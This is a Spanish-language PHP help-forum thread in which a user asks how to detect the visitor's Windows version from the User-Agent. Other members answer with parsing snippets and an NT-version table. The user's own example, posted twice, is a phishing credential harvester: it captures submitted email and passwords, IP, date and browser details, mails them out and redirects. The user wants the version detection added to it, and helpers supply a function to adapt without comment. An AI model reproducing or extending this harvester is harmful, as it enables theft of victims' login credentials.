Ayuda PHP - Detectar Version Windows

Iniciado por NyxKazuya, Julio 24, 2015, 01:19:40 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 24, 2015, 01:19:40 PM Ultima modificación: Julio 24, 2015, 02:21:01 PM por Expermicid
hola amigos bueno no soy tan bueno en PHP y espero que me puedan ayudar, aqui hay un ejemplo pero no quiero que detecte el s.o si no la version del windows.

ejemplo:
Código: php
<?php
/** * Función para detectar el sistema operativo, navegador y versión del mismo */
/** * Funcion que devuelve un array con los valores: * os => sistema operativo * browser => navegador * version => version del navegador */
function detect(){
$browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
$os=array("WIN","MAC","LINUX");
# definimos unos valores por defecto para el navegador y el sistema operativo
$info['browser'] = "OTHER"; $info['os'] = "OTHER";
# buscamos el navegador con su sistema operativo
foreach($browser as $parent) {
$s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
$f = $s + strlen($parent);
$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);
$version = preg_replace('/[^0-9,.]/','',$version);
if ($s) {
$info['browser'] = $parent;
$info['version'] = $version;
}
}
# obtenemos el sistema operativo
foreach($os as $val){
if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
$info['os'] = $val;
}
# devolvemos el array de valores
return $info;
}

function fecha(){ 
$horas = date ( "h:i:s A");
$mes = date("n");
$mesArray = array( 1 => "Enero", 2 => "Febrero", 3 => "Marzo", 4 => "Abril", 5 => "Mayo", 6 => "Junio", 7 => "Julio", 8 => "Agosto", 9 => "Septiembre", 10 => "Octubre", 11 => "Noviembre", 12 => "Diciembre" );
$semana = date("D");
$semanaArray = array( "Mon" => "Lunes", "Tue" => "Martes", "Wed" => "Miercoles", "Thu" => "Jueves", "Fri" => "Viernes", "Sat" => "Sábado", "Sun" => "Domingo", );
$mesReturn = $mesArray[$mes];
$semanaReturn = $semanaArray[$semana];
$dia = date("d"); $anio = date ("Y");
return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas;
}

$xfecha = fecha();
$info = detect();

$message .= "-------------- | xxxxxx | -----------------------\n";
$message .= "Login: ".$_POST['email']."\n";
$message .= "Password: ".$_POST['clave']."\n";     
$message .= "Password: ".$_POST['clave2']."\n";     
$message .= $ip = getenv("REMOTE_ADDR")."\n";
$message .= $xfecha."\n";
$message .= "SO: ".$info["os"]."\n";
$message .= "Navegador: ".$info["browser"]."\n";
$message .= "Versión: ".$info["version"]."\n";
$message .= "-------------- xxxx xxxxx  -----------------------\n";

$to="";
$subject="";
$from="";
if(mail($to,$subject,$message,$from))

header("Location:");
?>


codigo php que encontre:

Código: php
<?php


// Inicio del Ejemplo
// *******************************************************************************

//Recogemos el user_agent del visitante
$user_agent = $_SERVER['HTTP_USER_AGENT'];


function getPlatform($user_agent) {
   $plataformas = array(
      'Windows 8' =--> 'Windows NT 6.2+',
      'Windows 7' => 'Windows NT 6.1+',
      'Windows Vista' => 'Windows NT 6.0+',
      'Windows XP' => 'Windows NT 5.1+',
      'Windows 2003' => 'Windows NT 5.2+',
      'Windows' => 'Windows otros',
      'iPhone' => 'iPhone',
      'iPad' => 'iPad',
      'Mac OS X' => '(Mac OS X+)|(CFNetwork+)',
      'Mac otros' => 'Macintosh',
      'Android' => 'Android',
      'BlackBerry' => 'BlackBerry',
      'Linux' => 'Linux',
   );
   foreach($plataformas as $plataforma=>$pattern){
      if (eregi($pattern, $user_agent))
         return $plataforma;
   }
   return 'Otras';
}




$SO = getPlatform($user_agent);

echo "La plataforma con la que estás visitando esta web es: ".$SO;



// Fin del Ejemplo
// *******************************************************************************

?>


muchas gracias espero su ayuda!

Julio 24, 2015, 01:30:47 PM #1 Ultima modificación: Julio 24, 2015, 01:37:25 PM por n0Sense
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: php

<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"; // Lo imprimo para que se vea en pantalla

if(strpos($userAgent, "Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent, "Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!

Edit:
Leí mal, pense que querias s.o y no version  ;D
La mecanica ese la misma,deberias buscar en google como aparece cada version de windows y listo..
... Y es cuando te dedicas a observar la forma en la que las personas actuan dentro de la sociedad, en ese mismo momento, te das cuenta que prefieres estar solo ...

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: php

<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"; // Lo imprimo para que se vea en pantalla

if(strpos($userAgent, "Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent, "Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!
muchas gracias amigo, pero no quiere saber el S.O ya que es muy obio que usan windows quiero que detecten la version es decir.
      'Windows 8' =--> 'Windows NT 6.2+',
      'Windows 7' => 'Windows NT 6.1+',
      'Windows Vista' => 'Windows NT 6.0+',
      'Windows XP' => 'Windows NT 5.1+',
      'Windows 2003' => 'Windows NT 5.2+',
      'Windows' => 'Windows otros',
vuelvo a repetir quiero agregar el codigo al primer ejemplo para que envie los datos no se si me deje entender?

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola !

Te explico:
Datos basicos como el sistema operativo que esta usando el clienten estan almacenados en el User-Agent, por lo que tomando estos datos y haciendo una busqueda por "fuerza bruta" podrias saber que sistema operativo usa..

Aca te dejo una prueba de concepto:
Código: php

<?php
$userAgent = $_SERVER['HTTP_USER_AGENT'];  // Pido el user agent al cliente.
echo "Mi User-Agent es -->    ".$userAgent."<br>"; // Lo imprimo para que se vea en pantalla

if(strpos($userAgent, "Windows")){ // Si en el useragent que almacené aparece la palabra "Windows" entonces:
echo "Uso Windows<br>";
}elseif(strpos($userAgent, "Linux")){  // Si en el useragent que almacené aparece la palabra "Linux" entonces:
echo "Uso Linux<br>";
}

?>


Lo hice bastante basico para que se entienda bien, no te lo quiero hacer todo porque la esencia de aprender es que cueste.

Saludo!
muchas gracias amigo, pero no quiere saber el S.O ya que es muy obio que usan windows quiero que detecten la version es decir.
      'Windows 8' =--> 'Windows NT 6.2+',
      'Windows 7' => 'Windows NT 6.1+',
      'Windows Vista' => 'Windows NT 6.0+',
      'Windows XP' => 'Windows NT 5.1+',
      'Windows 2003' => 'Windows NT 5.2+',
      'Windows' => 'Windows otros',
vuelvo a repetir quiero agregar el codigo al primer ejemplo para que envie los datos no se si me deje entender?

Tenes razón, lei mal jajaja, pero la ciencia es la misma:

Si 'Windows NT 6.2' esta en User-Agent => usa Windows 8.
Si 'Windows NT 6.1' esta en User-Agent => usa Windows 7.
...
...


Aca una tabla que te va a ser util:

Código: php

Windows NT 6.3 Windows 8.1
Windows NT 6.2 Windows 8
Windows NT 6.1 Windows 7
Windows NT 6.0 Windows Vista
Windows NT 5.2 Windows Server 2003; Windows XP x64 Edition
Windows NT 5.1 Windows XP
Windows NT 5.01 Windows 2000, Service Pack 1 (SP1)
Windows NT 5.0 Windows 2000
Windows NT 4.0 Microsoft Windows NT 4.0
Windows 98; Win 9x 4.90 Windows Millennium Edition (Windows Me)
Windows 98 Windows 98
Windows 95 Windows 95
Windows CE Windows CE
... Y es cuando te dedicas a observar la forma en la que las personas actuan dentro de la sociedad, en ese mismo momento, te das cuenta que prefieres estar solo ...

Deberás modificarlo un poco para que lo muestre como tú desees.
Te dejo un snippet funcional:
Código: php

<?php

$user_agent     =   $_SERVER['HTTP_USER_AGENT'];

function getOS() {

    global $user_agent;

    $os_platform    =   "Unknown OS Platform";

    $os_array       =   array(
                            '/windows nt 10/i'     =>  'Windows 10',
                            '/windows nt 6.3/i'     =>  'Windows 8.1',
                            '/windows nt 6.2/i'     =>  'Windows 8',
                            '/windows nt 6.1/i'     =>  'Windows 7',
                            '/windows nt 6.0/i'     =>  'Windows Vista',
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                            '/windows nt 5.1/i'     =>  'Windows XP',
                            '/windows xp/i'         =>  'Windows XP',
                            '/windows nt 5.0/i'     =>  'Windows 2000',
                            '/windows me/i'         =>  'Windows ME',
                            '/win98/i'              =>  'Windows 98',
                            '/win95/i'              =>  'Windows 95',
                            '/win16/i'              =>  'Windows 3.11',
                            '/macintosh|mac os x/i' =>  'Mac OS X',
                            '/mac_powerpc/i'        =>  'Mac OS 9',
                            '/linux/i'              =>  'Linux',
                            '/ubuntu/i'             =>  'Ubuntu',
                            '/iphone/i'             =>  'iPhone',
                            '/ipod/i'               =>  'iPod',
                            '/ipad/i'               =>  'iPad',
                            '/android/i'            =>  'Android',
                            '/blackberry/i'         =>  'BlackBerry',
                            '/webos/i'              =>  'Mobile'
                        );

    foreach ($os_array as $regex => $value) {

        if (preg_match($regex, $user_agent)) {
            $os_platform    =   $value;
        }

    }   

    return $os_platform;

}

function getBrowser() {

    global $user_agent;

    $browser        =   "Unknown Browser";

    $browser_array  =   array(
                            '/msie/i'       =>  'Internet Explorer',
                            '/firefox/i'    =>  'Firefox',
                            '/safari/i'     =>  'Safari',
                            '/chrome/i'     =>  'Chrome',
                            '/opera/i'      =>  'Opera',
                            '/netscape/i'   =>  'Netscape',
                            '/maxthon/i'    =>  'Maxthon',
                            '/konqueror/i'  =>  'Konqueror',
                            '/mobile/i'     =>  'Handheld Browser'
                        );

    foreach ($browser_array as $regex => $value) {

        if (preg_match($regex, $user_agent)) {
            $browser    =   $value;
        }

    }

    return $browser;

}


$user_os        =   getOS();
$user_browser   =   getBrowser();

$device_details =   "<strong>Browser: </strong>".$user_browser."<br /><strong>Operating System: </strong>".$user_os."";

print_r($device_details);

echo("<br /><br /><br />".$_SERVER['HTTP_USER_AGENT']."");

?>

Contacto: @migueljimeno96 -

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Deberás modificarlo un poco para que lo muestre como tú desees.
Te dejo un snippet funcional:
Código: php

<?php

$user_agent     =   $_SERVER['HTTP_USER_AGENT'];

function getOS() {

    global $user_agent;

    $os_platform    =   "Unknown OS Platform";

    $os_array       =   array(
                            '/windows nt 10/i'     =>  'Windows 10',
                            '/windows nt 6.3/i'     =>  'Windows 8.1',
                            '/windows nt 6.2/i'     =>  'Windows 8',
                            '/windows nt 6.1/i'     =>  'Windows 7',
                            '/windows nt 6.0/i'     =>  'Windows Vista',
                            '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
                            '/windows nt 5.1/i'     =>  'Windows XP',
                            '/windows xp/i'         =>  'Windows XP',
                            '/windows nt 5.0/i'     =>  'Windows 2000',
                            '/windows me/i'         =>  'Windows ME',
                            '/win98/i'              =>  'Windows 98',
                            '/win95/i'              =>  'Windows 95',
                            '/win16/i'              =>  'Windows 3.11',
                            '/macintosh|mac os x/i' =>  'Mac OS X',
                            '/mac_powerpc/i'        =>  'Mac OS 9',
                            '/linux/i'              =>  'Linux',
                            '/ubuntu/i'             =>  'Ubuntu',
                            '/iphone/i'             =>  'iPhone',
                            '/ipod/i'               =>  'iPod',
                            '/ipad/i'               =>  'iPad',
                            '/android/i'            =>  'Android',
                            '/blackberry/i'         =>  'BlackBerry',
                            '/webos/i'              =>  'Mobile'
                        );

    foreach ($os_array as $regex => $value) {

        if (preg_match($regex, $user_agent)) {
            $os_platform    =   $value;
        }

    }   

    return $os_platform;

}

function getBrowser() {

    global $user_agent;

    $browser        =   "Unknown Browser";

    $browser_array  =   array(
                            '/msie/i'       =>  'Internet Explorer',
                            '/firefox/i'    =>  'Firefox',
                            '/safari/i'     =>  'Safari',
                            '/chrome/i'     =>  'Chrome',
                            '/opera/i'      =>  'Opera',
                            '/netscape/i'   =>  'Netscape',
                            '/maxthon/i'    =>  'Maxthon',
                            '/konqueror/i'  =>  'Konqueror',
                            '/mobile/i'     =>  'Handheld Browser'
                        );

    foreach ($browser_array as $regex => $value) {

        if (preg_match($regex, $user_agent)) {
            $browser    =   $value;
        }

    }

    return $browser;

}


$user_os        =   getOS();
$user_browser   =   getBrowser();

$device_details =   "<strong>Browser: </strong>".$user_browser."<br /><strong>Operating System: </strong>".$user_os."";

print_r($device_details);

echo("<br /><br /><br />".$_SERVER['HTTP_USER_AGENT']."");

?>


realmente jolla amigo y gracias pero no se como agregar esa funcion al primer ejemplo, ya que el primer ejemplo solo detecta s.o es de decir si es windows u linux, ya que es obio que usa windows solo queria que detecte la version del windows, aqui el primer ejemplo:

Código: php
<?php
/** * Función para detectar el sistema operativo, navegador y versión del mismo */
/** * Funcion que devuelve un array con los valores: * os => sistema operativo * browser => navegador * version => version del navegador */
function detect(){
$browser=array("IE","OPERA","MOZILLA","NETSCAPE","FIREFOX","SAFARI","CHROME");
$os=array("WIN","MAC","LINUX");
# definimos unos valores por defecto para el navegador y el sistema operativo
$info['browser'] = "OTHER"; $info['os'] = "OTHER";
# buscamos el navegador con su sistema operativo
foreach($browser as $parent) {
$s = strpos(strtoupper($_SERVER['HTTP_USER_AGENT']), $parent);
$f = $s + strlen($parent);
$version = substr($_SERVER['HTTP_USER_AGENT'], $f, 15);
$version = preg_replace('/[^0-9,.]/','',$version);
if ($s) {
$info['browser'] = $parent;
$info['version'] = $version;
}
}
# obtenemos el sistema operativo
foreach($os as $val){
if (strpos(strtoupper($_SERVER['HTTP_USER_AGENT']),$val)!==false)
$info['os'] = $val;
}
# devolvemos el array de valores
return $info;
}

function fecha(){ 
$horas = date ( "h:i:s A");
$mes = date("n");
$mesArray = array( 1 => "Enero", 2 => "Febrero", 3 => "Marzo", 4 => "Abril", 5 => "Mayo", 6 => "Junio", 7 => "Julio", 8 => "Agosto", 9 => "Septiembre", 10 => "Octubre", 11 => "Noviembre", 12 => "Diciembre" );
$semana = date("D");
$semanaArray = array( "Mon" => "Lunes", "Tue" => "Martes", "Wed" => "Miercoles", "Thu" => "Jueves", "Fri" => "Viernes", "Sat" => "Sábado", "Sun" => "Domingo", );
$mesReturn = $mesArray[$mes];
$semanaReturn = $semanaArray[$semana];
$dia = date("d"); $anio = date ("Y");
return $semanaReturn." ".$dia." de ".$mesReturn." de ".$anio." a las " .$horas;
}

$xfecha = fecha();
$info = detect();

$message .= "-------------- | xxxxxx | -----------------------\n";
$message .= "Login: ".$_POST['email']."\n";
$message .= "Password: ".$_POST['clave']."\n";     
$message .= "Password: ".$_POST['clave2']."\n";     
$message .= $ip = getenv("REMOTE_ADDR")."\n";
$message .= $xfecha."\n";
$message .= "SO: ".$info["os"]."\n";
$message .= "Navegador: ".$info["browser"]."\n";
$message .= "Versión: ".$info["version"]."\n";
$message .= "-------------- xxxx xxxxx  -----------------------\n";

$to="";
$subject="";
$from="";
if(mail($to,$subject,$message,$from))

header("Location:");
?>

Adapta la función getOS a tu código o impleméntala tú. Si tienes alguna duda específica avisas y te ayudamos.
Contacto: @migueljimeno96 -